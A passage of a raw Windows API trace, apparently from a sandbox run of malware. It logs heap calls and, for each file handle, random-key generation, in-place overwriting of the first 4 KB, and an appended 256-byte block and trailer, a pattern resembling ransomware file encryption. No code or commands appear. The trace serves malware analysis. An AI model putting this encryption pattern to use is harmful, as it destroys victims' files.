Size=0x40) returned 0x331fdf0 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.125] GetProcessHeap () returned 0x540000 [0083.125] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.126] GetProcessHeap () returned 0x540000 [0083.126] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.126] GetProcessHeap () returned 0x540000 [0083.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0083.127] SetFilePointerEx (in: hFile=0x844, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.127] WriteFile (in: hFile=0x844, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0083.127] WriteFile (in: hFile=0x844, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0083.127] GetProcessHeap () returned 0x540000 [0083.127] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0083.128] CloseHandle (hObject=0x844) returned 1 [0083.129] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 51 [0083.129] SetFilePointerEx (in: hFile=0x848, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.129] ReadFile (in: hFile=0x848, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0083.129] SetFilePointerEx (in: hFile=0x848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.129] GetProcessHeap () returned 0x540000 [0083.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0083.129] GetProcessHeap () returned 0x540000 [0083.129] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0083.129] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0083.130] GetProcessHeap () returned 0x540000 [0083.130] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0083.130] ReadFile (in: hFile=0x848, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0083.178] SetFilePointerEx (in: hFile=0x848, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.178] WriteFile (in: hFile=0x848, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0083.178] GetProcessHeap () returned 0x540000 [0083.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0083.178] GetProcessHeap () returned 0x540000 [0083.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.178] GetProcessHeap () returned 0x540000 [0083.178] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0083.178] GetProcessHeap () returned 0x540000 [0083.178] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.179] GetProcessHeap () returned 0x540000 [0083.179] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0083.180] GetProcessHeap () returned 0x540000 [0083.180] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0083.180] GetProcessHeap () returned 0x540000 [0083.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.181] GetProcessHeap () returned 0x540000 [0083.181] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.181] GetProcessHeap () returned 0x540000 [0083.182] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.182] GetProcessHeap () returned 0x540000 [0083.182] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0083.183] GetProcessHeap () returned 0x540000 [0083.183] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0083.183] GetProcessHeap () returned 0x540000 [0083.183] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0083.183] GetProcessHeap () returned 0x540000 [0083.183] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0083.183] GetProcessHeap () returned 0x540000 [0083.183] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0083.183] GetProcessHeap () returned 0x540000 [0083.183] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0083.183] SetFilePointerEx (in: hFile=0x848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.183] WriteFile (in: hFile=0x848, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0083.183] WriteFile (in: hFile=0x848, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0083.183] GetProcessHeap () returned 0x540000 [0083.183] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0083.183] GetProcessHeap () returned 0x540000 [0083.183] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0083.183] GetProcessHeap () returned 0x540000 [0083.183] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0083.183] CloseHandle (hObject=0x848) returned 1 [0083.185] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 52 [0083.185] SetFilePointerEx (in: hFile=0x84c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.185] ReadFile (in: hFile=0x84c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0083.185] SetFilePointerEx (in: hFile=0x84c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.185] GetProcessHeap () returned 0x540000 [0083.185] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0083.185] GetProcessHeap () returned 0x540000 [0083.185] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0083.186] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0083.186] GetProcessHeap () returned 0x540000 [0083.186] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0083.186] ReadFile (in: hFile=0x84c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0083.240] SetFilePointerEx (in: hFile=0x84c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0083.240] WriteFile (in: hFile=0x84c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0083.240] GetProcessHeap () returned 0x540000 [0083.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0083.240] GetProcessHeap () returned 0x540000 [0083.240] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.240] GetProcessHeap () returned 0x540000 [0083.240] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0083.241] GetProcessHeap () returned 0x540000 [0083.241] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0083.241] GetProcessHeap () returned 0x540000 [0083.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0083.242] GetProcessHeap () returned 0x540000 [0083.242] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 